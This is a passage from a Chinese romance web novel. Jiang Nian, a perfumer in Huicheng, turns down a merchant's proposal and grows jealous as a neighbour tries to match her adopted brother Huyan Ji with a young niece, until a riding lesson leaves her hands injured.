因为她的出现,他往来四季轩更加频繁,看她潜心研香,看她同客人交谈,言语往来游刃有余,哪怕身着素服常衣,也让人移不开眼。
好像只要她立在哪里,哪里就是中心。
江念将茶杯捧在手里,开口道:“安阿兄,你的意思我明了,承你青眼,只是我现在还不想嫁人。”
“是因为延吉么?”
江念笑了笑:“你听他胡说,我自己的事哪需经过他的同意,是我自己的原因。”
安努尔笑着摇头道:“阿念,你没明白我意思,我的意思是,是因为延吉?如果是他开口,想要求娶于你,你是愿意的,对么?”
江念怔愣着看向安努尔,又把眼睛垂向手里的茶杯。
安努尔可不是石儿禄,打他见那小子的第一眼,就感受到了强大的敌意,这种敌意绝非出自姐弟,只会出自一个男人对心上人的占有。
而且霸道得不允许任何人惦记。
江念不愿往下谈,可安努尔不打算放过她,继续道:“阿念,同为男人,我说一句你不爱听的,他若真想娶你,不会让你等,你在赌,赌他的良心,可很多时候,等到最后也只能是空。”
男人又道:“阿念,你若到我安家,我必定好好待你。”
江念想了想,微笑道:“安阿兄,可否问你一事?”
“只管问来。”
“安阿兄娶了我打算怎样安置我?是为妻,还是奴妻?”
安努尔怔了怔,说道:“自然为妻,怎会是奴妻。”
江念点了点头,又问:“小妹再厚颜问一句,子嗣呢?”
安努尔便不言语了,这个问题他暂且没想过,梁人同夷越人结合,生下的孩子无论在梁国还是夷越,都不被待见,被人称之为“杂种”。
“这也好办,再给他生一个兄弟,有个兄弟依靠,这孩子做个富贵闲人便可。”
再生一个兄弟,什么兄弟,自然是再娶一夷越女子为妻室,生一个纯正的夷越孩子,继承安家家业,然后那个被叫“杂种”的孩子此生依着安家的财富,衣食无忧。
江念一身骄傲惯了,怎能让自己的孩子落入那般不堪的境地,一生仰仗他人鼻息而活。
“安阿兄,我不愿意。”
安努尔想不明白,他当然不能明白,在他看来,江念不过是一个身家清贫的蓬户女子,她若嫁到安家,衣食无忧不说,他们的孩子也能衣食无忧。
这是多少普通人几辈子也达不到的高度。
他会给她无限的宠爱和尊重,也会偏爱他们的孩子,就算那孩子的身份登不得明面,他仍会替他谋划一个今生富贵,这样还不够?
别说是他了,就是石儿禄,考虑的不一定有他周全,江念是梁人,同夷越人生出的孩子注定不被待见,这个问题避无可避。
安努尔转口问道:“你若是因为这个忧虑,那延吉呢?他也是夷越男儿,不是么?除非你不找夷越人,而是回梁国,只要你在这片土地之上,这个问题一直存在,要么你选择一生不嫁人。”
可问题是,江念回不了大梁,她是罪臣之后,是逃犯,今生只怕再难回大梁。
江念默然了,安努尔也不想迫她太紧,缓了缓:“阿念,此事你再好好思虑,我等得起。”
就这么过了三两日,呼延吉每日送她去香料铺子上工,天暗时再赶着驴车接她归家,不知道的还以为这是一对平常夫妻。
江念不知他准备在徽城待多久,那晚他醉酒说他要多待些时日。
这日,两人正在院中用饭,院门响起,呼延吉开口道:“给你买的人来了。”
秋月前去开门,见门外站着一个头扎双鬟,看起来十岁出头的小丫头。
“你是?”
小丫头亮着一双眼,越过秋月的胳膊,向院里看去:“我……我找念念阿姐。”
正巧江念也看了过去,惊呼一声:“珠珠?!”
秋月忙将院门大开,把小丫头让进院中。
珠珠跑到江念身边,先是看了一眼桌边的呼延吉,见他压了压手,知道不必行礼,便拉着江念一个劲地笑,又去抱她,还把胳膊露出来,展出腕间的珊瑚手串。
“怎么是你呢?”江念言语中掩不住的惊喜,说着看向呼延吉。
“主人问……问我愿不愿意来伺候念念阿姐,我愿意。”珠珠怕话没说清楚,又复说:“我愿意。”
江念心里高兴,拉着她好生看了看,关心道:“吃过了么?”
珠珠笑着摇头,饿着肚子也开心。
秋月在旁边笑道:“阿姑,我带她去灶房用饭。”
江念笑着点了点头,因呼延吉同住,秋月便不同桌了,在灶房另支了一张小桌,正好珠珠来了,秋月带着小丫头坐那小桌用饭。
“这个可还行?”呼延吉问道。
江念坐回桌边,笑着不说话,呼延吉见她笑了,心情也跟着好起来。
只是如此一来,江念的房中又多了一人,秋月仍是睡脚榻,江念让珠珠同她睡一处,珠珠不肯,怕挤到她,最后把窗榻上的小桌挪开,铺上一床褥子,歇在了窗榻上。
接下来的一个月,呼延吉一直伴在江念身边,送她去了香料铺子后便离开,也不去店中缠扰她,倒是石儿禄经常到店中寻她,她也没空档应付他,后来石儿禄见她忙成那样,便不去店里了,等她下工后,去桂花巷子找她。
“阿念,你看这个喜不喜?”男人拿出一个镂花金镯,他家是做珠宝生意的,最不缺的就是这些金银饰物。
江念认真地看了看,回答:“喜欢……”喜欢二字才一脱口,身后的气息有了变化,胳膊上的细毛立起,忙改口:“不喜欢,不喜欢,我不喜欢金银珠宝,都是一些俗物。”
说罢,碎着步子出了院门,去了隔壁情姑家。
石儿禄一噎,明明上次她见着那枚海棠簪子,眼睛都痴了。
“我阿姐说她不
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喜欢,你快把那玩意儿收了罢,莫要再送了。”呼延吉靠在竹椅上,双臂环抱,眼中带笑,笑里意味不明。
石儿禄走到呼延吉身边,踢了踢他坐的凳子:“你怎么回事?”
他自问对江念的阿弟没有招待不周之处,不知怎的,总觉着延吉看他眼神不善。
呼延吉横他一眼,再看一眼他那脚,像是在说,你再踢一个试试。
“什么怎么回事?”
石儿禄屈蹲下,一手搁在膝上,一手搭在呼延吉的椅扶上:“你怎的不替我言语两句。”
呼延吉懒懒笑了一声:“我替你言语?”
石儿禄拉过一把椅子,坐到呼延吉对面:“你不替我言语,难不成要替安努尔那家伙说话?我同你说,你别看他人模人样,内里黑的很。”
“你们都不行。”
石儿禄看了看呼延吉,眼一眯,换了一种了然的语调:“我算是看明白了。”
男人将手里的珠宝匣子往桌上一丢,那匣子滑擦了一段,好在没掉出桌面。
“我算是看明白了,阿念这么个灯人儿,怎的到这个年岁还未婚嫁。”
呼延吉不语,等着他接下来的话。
“这里面多半有你的原因,你看这个不顺眼,那个不顺眼,这才把她耽误了,你就不怕她年岁再大一些,嫁不出去?”石儿禄说道。
“嫁不出去便嫁不出去,我又不是不能养她。”男人嘴角勾出一抹笑。
见到他这副不恭的姿态,石儿禄脑子里突然闪现安努尔那晚的话:她愿同你谈笑,是因为你生得像她的情郎……
这个念头一旦生成,压也压不住。
“你……你和她不是……”
呼延吉嗤笑一声:“是,是姐弟,没错,但那又如何,又不是亲的。”
一语毕,石儿禄腾地站起,指骂道:“延吉,我把你当兄弟看待,见你年纪小,对你多有照顾,你……你……人都说兔子还不吃窝边草呢,你这小子蔫坏,不仅吃,还连根拔起,不许旁人吃。”
呼延吉那脾气除了受江念的气,哪里容人对他指点,站起身,他这一站,石儿禄才发现,二十出头的儿郎居然比他体格还高大。
呼延吉眼往下一压,冷声道:“兔子不吃窝边草,我又不是兔子。”他儿时便盯中的猎物,谁敢从他獠牙下夺食。
石儿禄往后跌了一步,一屁股重坐到椅上。安努儿的那句话不停地在他脑中荡来荡去。
所以说,阿念对他有三分好脸,是因为眼前这人?
江念回到院中时,石儿禄已经走了。
“石儿郎君走了?”
“走了。”呼延吉显得心情不错的样子,心想着,这个石儿禄倒是好打发,就是那个安努尔有些棘手。
而刚才,江念去情姑院子,却是另一番情景。
“算着日子,我那侄女明日就到,我在自家院子治一桌酒,你看你那边能不能告一日假,你们一道过来吃一席,我让我家侄女在屋子里相看相看,毕竟是女儿家,也不好大剌剌露面。”
江念每日忙得睁眼就在香料铺子,闭眼就回屋歇息,情姑不提,她差点忘了还有这一茬。
情姑要把她家侄女儿说给呼延吉……
第94章 软软的钩子
先前她一再阻拒,又不好把话说得太直白,不想伤了邻里间的情面,奈何情姑就是看中了呼延吉,一心要给她家侄女做媒。
“明日我去店里告一日的假。”江念想了想,也不怕她听了不高兴,又补了一句,“他这人不好相处,对女儿家也不懂怜香惜玉,而且……”
“而且什么?”
女人不自觉将声音压低,悄声道:“他好似有心上人了。”说着脸有些发热。
情姑“哎呀——”一声:“有心上人了又如何,你阿弟又没有妻室,就算有妻室了,在咱们夷越也不是什么大事,这里同你们梁国不一样。”
情姑往江念跟前凑了凑,笑道:“不是我自夸,我那侄女年岁十六,正值好青春,容貌也好,延吉指定一见就喜欢上了。”
江念心里烦躁,随口道:“明儿我得亲自看一看,是不是真如你说的这般好。”
情姑一听这话音,赶紧转过话头:“那是自然,肯定得先让你这个阿姐满意。”
江念回了自家小院,有些心不在焉,不知该怎么同呼延吉说这个事情。
“明日我在家中休一日。”江念说道。
呼延吉一听,来了兴头,双眸盛光:“那明日我带你去城外转一转?”
他并没有多少时间,虽然从前常年在外征战,但只要战事终止,便立即回王庭,这次夺取定州后,又平疫灾,已在外逗留许久,为的就是想伴在她身边。
可她每日一大早去香料铺子,直到天暗才回,这院子又小,还有两个丫鬟进进出出,他想同她亲近亲近也是不易。
江念坐到竹椅上,呼延吉便屈身到她跟前,等她答话。
“明儿隔壁的情姑备了酒菜,请我们过去吃酒。”江念说道。
呼延吉脸上的喜色淡了些:“你就不能留些时间给我?我丢下那大一个摊子,在这儿为得谁?”
完了,完了,江念后面的话被他这句话彻底堵死,全然无法开口。
呼延吉看了她两眼,察觉到不对,他太了解她了,一抖嗓子就知道她要唱哪出戏。
“又是什么事。”呼延吉从她身边站起,坐到刚才石儿禄坐过的竹椅上。
“就是你才来的那会儿……”江念还在酝酿言辞。
“你别扯,说重点。”
男人声音稍稍一大,心虚之下江念脱口而出:“情姑想把她侄女儿说给你。”
接下来便是寂寂的一刹那,女人的眼睛看着裙下露出的半截脚,数着鞋面上有几朵小花,一朵,两朵,三朵……不对,不对,重新数。
珠珠正要拿茶出来,给院里的人续茶,却被秋月拉住,暗暗摆了摆手,于是两人又退回屋里。
安静中男人一声嗤笑,只听他道:“行呐,明儿我去见一见,阿姐也给我端相端相。”
呼延吉唤她“阿姐”只有两种情况,一种是他心情极好时,一种是他心情极不好时,不用想,这会儿一定属于后者。
男人撩衣起身,回了屋子,这一夜再没出来。
次日,情姑请了江念同呼延吉到家里做客。
情姑的院子比她那院子大一些,院角有一口井,院墙边开了一块地,里面种了些瓜蔬。
江念来过不止一次,今日却在院中四顾打量起来,又借着打量的工夫,轻描淡写地看向主屋的窗扇。
那窗半掩着,里面暗着,亮处看暗处,看不清明,可暗处看亮处,却分外眼明。
“看什么?”呼延吉走到江念身边,将腰身倾到一个恰到好处的弧度,使自己的视线同她齐平,然后循着她来不及收回的目光看去。
男人弯起嘴角“嗯——”了一声,尾音上挑,气音轻颤,透着点玩味:“这是迫不及待要看弟媳了?”
说着勾起唇角一笑,那眼仍不收回。
男人这一笑的同时,屋里响出一点动静,不知什么东西倒了。
江念赶紧扭过身,走向一边,离了呼延吉,问情姑:“小柴头呢?”
情姑同她男人忙进忙出,将菜肴酒馔摆上院子里的桌面。
“丢到别家了,晚些再接回来,不管他。”情姑说着话,眼却往屋里瞟。
江念将她的神情看在眼里。
“略备一点薄酒,小阿郎莫要见怪。”情姑转头看向呼延吉。
“怎会见怪,我也想尝尝嫂子的厨艺。”呼延吉随和说道。
情姑听了欢喜得了不得,对着江念睇眼色,那意思是说,你还说你阿弟性子不好,这不挺好的么,嘴甜讨人喜欢。
菜馔上齐,烧鸡烧鹅、鲜鱼肉炸,还有各类果品,又有醇香美酿,堆垒一桌。
情姑有家铺子,比普通人家的境况稍稍强些,摆这么一桌丰富肉肴不难。
“当家的,你先举杯请一请小阿郎。”
情姑是个爽利性,她男人却是个不善言辞的,举杯敬向呼延吉,让他随意。
呼延吉回举,一杯见底,情姑见了,赶紧执酒壶为他续上。
情姑杵了杵江念的胳膊,悄声笑道:“这可真是天缘凑巧,你租下我的院子,才有了这一桩好事。”
正说着,一个俏皮的女声响过来:“姑母怎的不叫真儿用晚饭,自己先吃起来。”
众人看去,只见屋中走出一少女,十六七岁的模样,少女一头浓发分成两股,编成麻花摆在身前,麻花辫里还缠织着五彩绫丝。
清灵灵的一双眼,像是水洗过的曜石,不是绝丽的姿色,可是少女身上青春的气息便是最美。
情姑起身,拉着少女坐到自己身侧:“你才到徽城,远驾劳乏,我想你必是歇下了,便没叫你,不承想你这馋嘴嗅着酒饭香醒了。”又指向江念道:“这是隔壁的阿姑,姓江,她长你几岁,你唤阿姐罢
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。”
少女看了一眼江念,甜甜地叫了一声,江阿姐。
江念嘴里应着,心惶地发现一件事,她和眼前的少女居然相差了十岁!
“阿念,这就是我跟你提及的侄女儿,叫真儿,从安城来的,家里做典当行的营生,小户人家的女儿比不上那些千金贵女,不过小户人家的女儿也有她的好,性格随和,不像那些高门大户人家的,都是站在云上的人儿,需让人供着、迁就着。”
情姑碎碎说着,“这两人在一起过日子,就得相互忍让,得找个性子软和一些的,日子才能过得舒心顺遂,我这侄女儿,性格开朗,人人见着她都愿多疼两分。”
“姑母,你看看你,吃个饭,说这些做什么,还有人在呢。”
少女娇嗔道,一点愠色化成少女腮上淡淡的胭脂,不经意间一抬眼,看向江念这边,不,应该是看向江念身侧的呼延吉,然后那脸就更红了。
“好,好,我不说,我也真是,说了一车的话,搅得你们没吃几筷子菜。”情姑刚准备结束密集的话语,想起一事,又道,“看我这人,尽说废话了,来,真儿,这位郎君是你江阿姐的阿弟,延吉,年长你三四岁,快快唤阿兄。”
少女脸颊红扑扑,笑着向呼延吉行礼:“阿兄。”
呼延吉起身,还了半礼:“真儿?”
呼延吉的声音本就好听,干净的声线裹着阳光的懒意,那尾音一翘,就跟软软的钩子,挑撩着。
少女羞着低下头,两手在身前绞着,再难抬头的样子。
情姑见此满心欢喜,各人归座吃喝絮谈,多半还是情姑在说,江念勉为其难地应和,呼延吉轻松地喝着酒,不经意间瞥一眼那名叫真儿的少女。
江念感知后,抬起一脚踩在他的脚上。
呼延吉“嘶——”了一声,对面的真儿立马关心道:“阿兄怎么了?”
“无事,吃了一口‘辣子’。”
“那快喝些清茶。”情姑用下巴指了指,“丫头,快给你阿兄倒一盏茶。”
真儿忙起身,走到呼延吉身侧,替他倒了一盏清茶:“阿兄,用茶,仔细辣着喉咙。”
呼延吉在桌面叩手道谢,意味深长地说:“无事,辣习惯了。”
真儿坐回,关心道:“阿兄若是不能吃辣,以后还是别吃了,伤身子。”
江念看向真儿,笑道:“真儿不知,他就喜欢吃辣的,越辣越喜欢。”
真儿笑着摇了摇头:“江阿姐这话错了,吉阿兄能不能吃辣只有他自己知道,江阿姐以为他喜欢,其实吉阿兄可能并不喜欢。”
江念不再说什么,就这么吃到夜色渐浓,方才散了,江念同呼延吉回了自家小院,两人一前一后各自回房。
回屋后,江念沉沉得发了一会儿呆,呆过后又出了屋,走到对过门前,敲响房门……
第95章 鲜嫩的气息
江念从屋里出来,走到对面,敲响房门。
“阿姐?”男人的声音从屋里传来。
江念“嗯”了一声:“我想同你说……”
话未说完,呼延吉的声音将她打断:“要紧事么?我睡下了。”
江念在暗暗的走道里站了站:“不是要紧事,你休息罢。”
就这么过了一夜。
夷越早晚温差,晨夕起雾。
次日一大早,空中薄雾未散,秋月去灶房烧饭,珠珠伺候江念梳洗。
待饭烧好,天已大亮,早饭刚摆上桌,院门被敲响。
秋月前去开门,门外站着正是情姑的侄女,真儿。
“江阿姐,你们用早饭呢,吉阿兄在么?”
“他出去……”
江念刚要说呼延吉不在,因他每日早晨会赶着驴车在巷口等她,然而,话才脱口就见呼延吉一身清爽地从屋中走来。
“吉阿兄!”
少女捉裙上了台阶,走到呼延吉身边:“阿兄,我初来徽城,一会儿你可否带我去城外游玩?”
呼延吉笑了笑:“你姑母不带你转一转”
“姑母有店子要照看,抽不出多的时间来。”少女说得有些委屈。
呼延吉看了眼院中的江念,问道:“阿姐今日可否自行去香料铺子?”
江念见真儿睁着一双清亮的眼,看着自己,微笑道:“你陪真儿,她难得来,香料铺子不远,我走着就能去。”
呼延吉颔首,带着人出了院门。
用**后,江念便去了香料铺子,这一日不知是怎么过的,天暗时,收好调香间的器具,同店伙计招呼了一声出了店门,在门首空站了一会儿。
“香工,今儿怎么不见小阿郎来接你?”店伙计收好门板,闭店。
江念回头笑了笑,走了,走在回去的路上,听见身后车轮辘辘,忙回头看去。
“让道——让道——”车夫赶着驴车从江念身边“得得”经过。
江念回身,继续往回走去,只是心情比刚才沉了三分,这路比往常远了七分,脚下走不动似的。
终于回到桂花巷,远远就听到少女的笑声,像风铃一般随风飘来……
院门半敞,那门隙间的情景直直撞进了江念的眼中。
少女坐在台阶上,抱着膝,歪头笑着,腮边衔着略略汗湿的丝发,亮泽的脸颊透出可人的红晕。
呼延吉则坐在高她两层的台阶之上,一腿屈起,一腿打直,嘴角含笑,眼向下看着少女。
同她一比,江念只觉得自己像一块朽木,她的身上已没了鲜嫩的气息,不仅不鲜嫩,还是被染过色的,同少女天然的姿容一比,简直没法看。
这份向上的力量,她有,他也有,她却没有……
在她思索的一瞬,呼延吉的目光穿过门隙同她的对上,江念压下心头的杂念,推门而入。
“江阿姐,你回了?”真儿从台阶站起身,笑道,“阿兄今日陪我去了城外,还教我骑马呢。”
江念回以一笑,又看向呼延吉,他也正笑着看向她。
“你们用晚饭了?”江念问道。
少女听了,从旁抢过话头:“吃了,阿兄带我在街边吃的各类小食,有烧串、香饼,还有饮子,还买了许多小玩意儿。”说着,回身拿过一个包袱,打开,里面果然有许多琳琅饰物,“江阿姐,你看看喜欢哪一个,我送给你。”
江念笑得有些吃力:“不用,你留着玩,我有些累了,先回屋,你们聊你们的。”
说罢,提裙上了台阶,快步往屋里走去,翻动的裙摆带起一阵风。
江念反手闭上房门,仍能隐隐听到院中男女的交谈声,三两步走到窗榻前坐下,给自己倒了一杯茶。
“珠珠,你在做什么?”
女孩抬起头,笑道:“念念姐姐,刚……刚真儿姐给我的这个。”
江念向她手上看去,是一个设计精巧的玩偶。
“还给我这个。”珠珠又拿过一物,是一个彩色泥塑,然后悄声儿道,“王给她买了好些,她让……让我挑,我就拿了这两个。”
江念点了点头:“你玩罢。”
外面又是一阵铃铃的笑声,女人起身走到门前,倾耳靠上门,想要听得更清楚,突然门被叩响,吓得江念一慌,不等她反应,声音透门而来。
“阿姑,饭好了,出来用饭。”
是秋月的声音。
江念同珠珠出了房门,真儿便要辞去,江念留她不住。
少女离去前看向呼延吉,笑道:“吉阿兄,明日别忘了。”
呼延吉回以一笑。
待真儿出了院门,呼延吉也起身回屋,前一脚刚进屋,江念后一脚跟上,也进到屋中。
“你不该同她走得这样近。”江念说道。
呼延吉似是没听见一般,只管扯开身上的衣带,褪去外衫,只着一件月白色的里衣。
“我说的你可听见了?”女人下意识往前一步。
“为何?”呼延吉松了松衣襟,拿过一把草扇悠悠打着,他实在怕热,这屋里连个冰块也没有。
江念言语带了丝责备:“她那么个年纪,哪经得起你挑眼。”
“哦?所以阿姐经得起我挑眼了?”男人戏谑道。
“我可没同你开玩笑。”
呼延吉正色道:“阿姐又怎知我在玩笑,她年岁小,百伶百俐,招人喜欢,我多待她几分耐心,不也很正常么?哪里像在玩笑?”
这一下轮到江念说不出话,目光往旁边避去,缓了缓,想起刚才真儿离开前,让呼延吉明日别忘了,鬼使神差地问了一句:“你们明日……”
“明日带她去城外学习骑马,顺道去小叶山,听说那里有一片桃林,有桃果儿。”呼延吉说道。
“左右明日我也无事,好久没去城外了,随你们同去罢。”江念说道。
“你不是要去香料铺子上工么?”
“明日休一天。”江念说着,出了屋。
次日,众人准备行当,叫了一辆马车,真儿,秋月还有珠珠乘于马车,呼延吉和江念骑马在前慢行,队里还跟了呼延吉的小厮,那个叫阿丑的,另有几个便衣护卫,这些人一直隐在桂花巷周围。
待一行人到城外的郊野时,太阳已是高高挂起,寻了一蔽阴处,停下车马。
“江阿姐,想不到你
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还会骑马,我就不会。”真儿摸了摸刚才江念骑的那匹小马儿,转而又笑道,“不过阿兄说骑马不难,他包把我教会呢。”
江念也来了兴儿,想要现现眼:“真儿,你坐到马上,我来教你,我比他教得好呢。”
其实这话也没错,江念走马那会儿,是江府请了专业的马师从中指导,再一个江念同为女子,更能知道女子**马时的长短处。
呼延吉不同,他的马技是自然而成的,怎么说呢,他会骑马,就像是生在马背上,与马融为一体,但你要问他有哪些注意要点,他不一定讲得明白,只知道就该这么骑。
真儿听罢,有些迟疑,却又不好拂江念的面子,只好翻身上了马背。
江念也怕出意外,便只在附近牵着马绳慢走,一面走,一面说着要点。
“背要打直,腰际放松,身子尽量往下沉,像要‘坐进’马鞍里。”
江念看了一眼,点点头:“不必太过紧张,放松就好,小腿贴着马腹,膝处自然弯曲,腿部和手上的辔绳需配合,我现在把辔绳松开,你自己勒绳试一试。”
“我有些害怕,换我牵绳,马儿会不会自己跑开?”少女担忧道。
“莫怕,没事的。”
少女栗栗自危,江念稍一松绳,她就要哭出来似的,江念再三劝解,仍是无用。
“这也怕,那也怕,怎么学习骑马,若是真怕,不学也罢。”不知不觉中江念的语气带上当年马师的口吻。
当年马师训她,可是一点情面不留。
真儿一听,面皮涨红,只得试着自己勒绳,驱马缓缓前行,然后再掉转马头走到江念跟前。
“真的可以!”少女欣喜道。
江念又给真儿指正几点错处,此时身上已出了一层热汗。
也是合该出事,那马儿不知怎的踩到一条麻绳上,马儿怕蛇,踩着那物儿,眨眼之间不受控起来,前后蹄子比着往高了踢,像要登天一般。
江念赶紧扯住缰绳,可她气力不够,完全制压不住。
一个人影儿急奔而来,绕过她,从她手里扯过绳。
江念趔趄后退,就见呼延吉全身紧绷,缰绳绞住他的指,一面蓄力强压马头,一面发出“吁——”声,待那马儿安定下来,一把将马背上的真儿揽了下来……
“没事罢?”
女子显然被吓住了,连呼延吉问她话也不知回答,直到呼延吉问她第二遍:“有没有事?”
这一会儿,她才缓过劲,那眼泪立时就滚落下来:“吉阿兄,我以为我刚才要**……”
呼延吉安抚了几句,走到江念身边,眼向下移,落到她的手上,女人的手半掩在长长的衣袖下。
“伤到没有?”
江念缓了缓面色,吞咽了一下,只觉得那口水滑进喉咙眼都是凉的,一张俊庞褪去粉腻只剩下白。
“无事,我无事。”
呼延吉又看了她两眼,颔首道:“去那边树下歇息罢,他们备了吃的。”
江念点头,掉过身往不远处的树下走去,走了几步再回首,就见呼延吉重将真儿抱上马背,他在前牵马缓缓走着……
第96章 婚事
江念走到树下,秋月搬来一张杌子与她坐,珠珠端来一盘烧好的野味。
“念念阿姐,吃这个,我烤的。”女孩说道。
江念笑着接过,一边的秋月“呀——”了一声:“这手怎么伤成这样?!”
只见女人手心凸起几道红肿棱子,隐要渗血的样子。
“我去跟阿郎说,回去罢,这一趟出来也没带药膏。”秋月焦急道。
江念本是特别娇气的一人儿,稍有一点疼就会喊出来,可她这会儿不想被人看低了,再加上刚才真儿来那么一下,她再叫嚷疼痛的话,有些和她争娇邀宠的嫌疑。
“无事,也没破皮,就是被勒了一下,一会儿就消了,你看你小题大做的。”江念取过一根木签子,哆嗦着从盘里扎取一片焦黄的肉,再哆嗦着放到嘴里,慢慢咀嚼。
其实那手心像握着一块炭似的,烧得火辣辣地疼,她却不表现出来。
秋月便不再说了。
这时旁边有一人说道:“看见没,昨日我就说了,这个真儿是个有造化的,不信咱们走着瞧,主子这次回去,定会将她上。”
又一声音说道:“我看不见得。”
江念一听,暗暗点头,心道,看来还是有明白人,不想那人接着又说:“主子怎会带一个小门小户女子回去,多半会养在外面,也是个趣儿。”
此话一出,旁边之人纷纷迎合。
阿丑见自己的话得到认可,有些得意,忽觉芒刺在背,掉头一看,立即来了个大转弯,对着身边另几个侍从道:“那丫头小模小样的,主子根本看不上,诶——看不上!”
一面说着,眼睛还一面往后瞥,生怕江念没听见,故意把声调扬得老高。
他可是最清楚,自家主人为何在外逗留这般久,战事完了仍不回王庭,不是为了身后这位,又是为了谁?
“丑奴儿,你刚才不还说,养在外面么?这会儿怎么又改口了?”一个侍卫笑道。
“你懂什么,我说养在外面,那是当妹子给些照顾。”阿丑说着扬指点了点周围几人,鄙夷道,“瞧瞧你们这些人,尽想着裤裆子那点事。”
接着响起一片哄闹声,又戛然而止,原是两人一马往这边行来。
呼延吉将马绳甩给侍从,走到离江念不远的一块大石坐下。
斜光中,江念见他额上出了不少汗,雪青色的缺胯袍稀皱在后背,兴是热得狠了,他便松开护袖,敞着袖口,仍嫌不够,干脆把两边袖子捋起来,露出一截沉蜜色劲实的小臂。
一道青绿的身影像雀儿一样飞了过来。
“吉阿兄,喝口饮子。”少女一手提壶,一手擒杯,言语间尽是活泼。
呼延吉便接过茶杯,女子倾下茶壶,倒出粉津的凉饮于杯中。
女子依坐到呼延吉身边的一块小石上,又给自己倒了一杯,然后慢慢喝着。
“吉阿兄,刚才得亏有你。”少女说着,也不知是有意还是无意,瞥了眼江念那边。
这话并没有故意避着江念,一字不差地落入她的耳中,江念有些后悔,今日不该跟了来,显得她十分多余。
可她总是这样,面子比心里的委屈更重要,所以不愿表现出一点点异样,只当没听见那话似的,端坐在那里,吹着树下风。
“阿姑,我再给你倒一杯饮子罢?”秋月说道。
江念“嗯”了一声。
秋月拿起壶,倒了一杯递到江念面前,江念抬手接过,放到嘴边,慢慢喝着。
呼延吉一杯饮尽,将茶杯在指间把玩,两条胳膊搁在膝上,垂下的余光中,见江念手心攥着衣袖,拿杯的手势有些不自然,偏这时,一边的真儿问呼延吉是否再续饮。
呼延吉不知听没听见,没给出回应,起身走到江念跟前,说道:“手给我看看。”
被他发现掌心的勒痕更加难堪,她情愿伤痕不知不觉中恢复,也不想让他知晓。
“我喝茶呢,手心有什么可看的。”
呼延吉不再多话,夺过她手里的茶杯,趁她还没反应,将她的掌心拂开。
“你是真能忍!吭也不吭一声,我看你这双手是不想要了。”呼延吉说道。
江念不经意一瞥,一口凉气倒吸,刚才还只是几道棱子,这会儿已肿成一片,有些地方开始渗血斑。
原本还要去小叶山的,也不去了。
呼延吉带着江念骑马先回,其他人打后。
真儿听说不去小叶山后,未免失落,见呼延吉带江念先走,心里升起一丝怨嗔,却又不好表露。
呼延吉带着江念纵马往城内行去……
马儿并没有行得太急,始终保持着一个不快不慢的速度。
进了城门,找了一家大医馆,让大夫上药包扎,大夫又嘱咐,需好生养几日,千万不要碰水。
江念制备香料哪有不碰水的,没法子,只好向安努尔告几日假,不凑巧,安努尔又去了外城办事,不在徽城,只好找上掌柜的。
掌柜的一听江念要休几日,初时有些不情愿,认为她小题大做,不过就是手上勒了几道红痕。
江念见他言辞闪烁,没个爽利样儿,冷下声调:“掌柜的若是不愿我告假,那我只能走人,左右不能为了赚钱把自己的手给废掉。”
“香工这是哪里的话,你只管休,手上的伤几时好几时来,只是……你也知道,这店里少不得你,香工平日若能抽出空档来走两遭……”掌柜的又赶着说了一句,“当然,不要你动手,只来转一转,你看成不成?”
江念不好再说什么,点头应了,就这样,有了几天闲散日子,其实她也有私心,自打呼延吉住到这里,她有些忽视他了,正巧这几日是个机会,可以多些时间陪他。
待江念兴兴头头地回了桂花巷,经过情姑门前时,被她叫住。
“你还说你阿弟性子不好,这不挺好的,今儿一大早,他二人又去了小叶山。”
“小叶山?”江念反问道。
情姑笑道:“可不是,昨儿你们不是没去成么,那丫头回来就一脸不高兴,这不,延吉今儿带她再去一趟。”
江念愣磕磕地点了点头。
情姑杵了她一下:“你是不是哪里不舒服?”
“没有,就是才回来,热了一路,有些燥。”说着,江念拭了拭额上的汗。
情姑拉着江念走到自家院子:“你坐,我才泡了些梅饮,用井水浸过,你喝着解解渴。”说着进了屋子,不一
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会儿端了一个托盘出来,从盘里拿了两碟子细果,又给江念把梅饮沏上:“你今日不去铺子里?”
“才从铺子回来,这不是因为伤了手。”江念端起茶杯,心不在焉地喝了一口。
情姑溜了一眼江念的手,忧心道:“昨日我那侄女儿回来说了。”
“是我没看顾好她,险些让她从马上摔下来。”江念说道。
情姑给自己倒了一杯梅饮:“你不知道,她家做典当生意的,家中境况怎么说呢,比上不足,比下有余,她又是家里的老小,独独她一个女儿,上面几个兄长,虽不比巨富之家的女儿,却也是娇养出来的。”
江念听这话音越来越偏,只怕再说下去,就要扯到她这边了,果不其然。
“之前听你说,延吉居于京都,有自己的大宅,家中奴仆环伺,骡马不缺,可是如此?”
这话江念说过,当时情姑问她,家中可还有亲人,她便说有两个阿弟,一个在外游历,一个居在京都。
情姑又问她,既然有阿弟在京都,怎么自己只身一人跑到徽城,那个时候江念对呼延吉的气恼没消,便说自己阿弟如今立了大家业,家中如何如何富裕,到头来嫌弃她了,把她赶了出来。
本来嘛,这话也是闲说的,毕竟她租赁着她家的院子,总要说几句来应付。
“问你呢,怎么发起呆来。”情姑拉了她一下。
江念不知该如何回答,都说一个谎需要无数个谎来圆,只好含糊道:“他家也就那样……”
情姑也不知听没听见,摇头播脑地说着:“我见延吉这两日进出身边跟了几个护卫,那些护卫一看就不是普通人家养出来的,家况应是不错的,且又是京都人士,我得给我兄弟去信,跟他说一声儿,好让他有个准备。”
不得不说,情姑这人当真精明,之前还当着她的面劝说呼延吉在徽城安家,这会儿见她侄女中意呼延吉,又开始得意呼延吉京都人的身份。
婚嫁之事探听男方家世本不是问题,可此事从头到尾,情姑都把她撇在一边,好似只要她家侄女儿相中人,这事就能敲定。
江念把茶杯往桌上一放:“嫂子,你急着让你兄弟来做什么?”
情姑还没察觉出江念态度的转变,嗔江念明知故问:“让我兄弟来看一看延吉,若是我兄弟也觉着好,就趁热把两人的婚事定下来。”
江念哧哧两声冷笑,站起身:“嫂子,你说什么呢?家中不是没人了,还有我这么个人在,我是他阿姐,不是你家觉着好,这亲事就能定下,我不点头,他是不会娶的。”
情姑从没见江念生恼,忙赔不是:“怪我,怪我,主要我一见延吉,就觉着他好,满心满眼的喜欢,便忘了你这一头。”
话是这么说,可情姑并不把江念的话放在心上,在她看来,江念作为邻里,人是不错的,可说到底同延吉只是养姐弟的关系,没有多深的羁绊和牵制,无需把她当回事。
“嫂子,谢谢你的梅饮,改日你家真儿回安城,我治一桌酒席答谢。”江念不愿多待,话一说完扭身朝院外走去。
院门一开,门前立了两人,正是从小叶山归来的呼延吉和真儿……
第97章 我把心拿到你面前
